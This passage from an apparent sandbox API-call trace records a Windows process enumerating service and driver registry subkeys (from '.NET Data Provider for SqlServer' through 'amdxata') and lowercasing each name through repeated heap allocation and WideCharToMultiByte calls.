data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f1a48, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0255.207] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0255.207] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.207] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0255.207] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.207] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0255.207] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.207] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0255.207] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0255.207] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f19b8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0255.207] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.207] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0255.207] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.207] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.207] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0255.207] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.207] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0255.207] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.207] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f1a48, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0255.208] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0255.208] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.208] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0255.208] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.208] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0255.208] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.208] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0255.208] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0255.208] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f19b8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0255.208] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.208] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0255.208] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.208] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.208] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0255.208] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.208] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0255.208] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.208] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f1a48, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0255.208] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0255.208] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.208] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0255.208] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.208] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9, lpName=0x2152850, cchName=0x104 | out: lpName="AcpiPmi") returned 0x0 [0255.208] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.208] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0255.208] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0255.208] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x21f19b8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpipmi", lpUsedDefaultChar=0x0) returned 7 [0255.208] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.208] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0255.208] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.208] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.208] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa, lpName=0x2152850, cchName=0x104 | out: lpName="AdobeFlashPlayerUpdateSvc") returned 0x0 [0255.209] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.209] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0255.209] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.209] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x21f1a48, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0255.209] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0255.209] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.209] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0255.209] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.209] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb, lpName=0x2152850, cchName=0x104 | out: lpName="adp94xx") returned 0x0 [0255.209] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.209] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0255.209] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0255.209] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x21f19b8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adp94xx", lpUsedDefaultChar=0x0) returned 7 [0255.209] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.209] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0255.209] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.209] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.209] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc, lpName=0x2152850, cchName=0x104 | out: lpName="adpahci") returned 0x0 [0255.209] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.209] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0255.209] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.209] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpahci", lpUsedDefaultChar=0x0) returned 7 [0255.209] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0255.209] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.209] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0255.209] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.209] RegEnumKeyW (in: hKey=0x148, dwIndex=0xd, lpName=0x2152850, cchName=0x104 | out: lpName="adpu320") returned 0x0 [0255.209] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.209] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0255.209] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0255.209] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x21f19b8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpu320", lpUsedDefaultChar=0x0) returned 7 [0255.209] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.210] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0255.210] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.210] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.210] RegEnumKeyW (in: hKey=0x148, dwIndex=0xe, lpName=0x2152850, cchName=0x104 | out: lpName="adsi") returned 0x0 [0255.210] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.210] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0255.210] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.210] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x21f1a48, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adsi", lpUsedDefaultChar=0x0) returned 4 [0255.210] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0255.210] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.210] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0255.210] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.210] RegEnumKeyW (in: hKey=0x148, dwIndex=0xf, lpName=0x2152850, cchName=0x104 | out: lpName="AeLookupSvc") returned 0x0 [0255.210] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.210] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0255.210] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0255.210] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x21f19b8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0255.210] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.210] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0255.210] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.210] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.210] RegEnumKeyW (in: hKey=0x148, dwIndex=0x10, lpName=0x2152850, cchName=0x104 | out: lpName="AFD") returned 0x0 [0255.210] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.210] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0255.210] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.210] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x21f1a48, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="afd", lpUsedDefaultChar=0x0) returned 3 [0255.210] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0255.210] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.210] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0255.210] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.210] RegEnumKeyW (in: hKey=0x148, dwIndex=0x11, lpName=0x2152850, cchName=0x104 | out: lpName="agp440") returned 0x0 [0255.210] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.211] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0255.211] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0255.211] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x21f19b8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="agp440", lpUsedDefaultChar=0x0) returned 6 [0255.211] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.211] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0255.211] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.211] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.211] RegEnumKeyW (in: hKey=0x148, dwIndex=0x12, lpName=0x2152850, cchName=0x104 | out: lpName="ALG") returned 0x0 [0255.211] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.211] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0255.211] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.211] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x21f1a48, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0255.211] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0255.211] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.211] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0255.211] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.211] RegEnumKeyW (in: hKey=0x148, dwIndex=0x13, lpName=0x2152850, cchName=0x104 | out: lpName="aliide") returned 0x0 [0255.211] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.211] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0255.211] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0255.211] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x21f19b8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aliide", lpUsedDefaultChar=0x0) returned 6 [0255.211] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.211] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0255.211] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.211] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.211] RegEnumKeyW (in: hKey=0x148, dwIndex=0x14, lpName=0x2152850, cchName=0x104 | out: lpName="amdide") returned 0x0 [0255.211] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.211] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0255.211] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.211] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x21f1a48, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdide", lpUsedDefaultChar=0x0) returned 6 [0255.211] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0255.211] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.212] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0255.212] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.212] RegEnumKeyW (in: hKey=0x148, dwIndex=0x15, lpName=0x2152850, cchName=0x104 | out: lpName="AmdK8") returned 0x0 [0255.212] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.212] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0255.212] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0255.212] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x21f19b8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdk8", lpUsedDefaultChar=0x0) returned 5 [0255.212] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.212] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0255.212] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.212] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.212] RegEnumKeyW (in: hKey=0x148, dwIndex=0x16, lpName=0x2152850, cchName=0x104 | out: lpName="AmdPPM") returned 0x0 [0255.212] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.212] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0255.212] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.212] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x21f1a48, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdppm", lpUsedDefaultChar=0x0) returned 6 [0255.212] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0255.213] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.213] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0255.213] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.213] RegEnumKeyW (in: hKey=0x148, dwIndex=0x17, lpName=0x2152850, cchName=0x104 | out: lpName="amdsata") returned 0x0 [0255.213] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.213] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0255.213] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0255.213] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x21f19b8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsata", lpUsedDefaultChar=0x0) returned 7 [0255.213] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.213] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0255.213] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.213] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.213] RegEnumKeyW (in: hKey=0x148, dwIndex=0x18, lpName=0x2152850, cchName=0x104 | out: lpName="amdsbs") returned 0x0 [0255.213] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.213] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0255.213] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.213] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x21f1a48, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsbs", lpUsedDefaultChar=0x0) returned 6 [0255.213] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0255.213] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.213] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0255.213] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.213] RegEnumKeyW (in: hKey=0x148, dwIndex=0x19, lpName=0x2152850, cchName=0x104 | out: lpName="amdxata") returned 0x0 [0255.213] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, 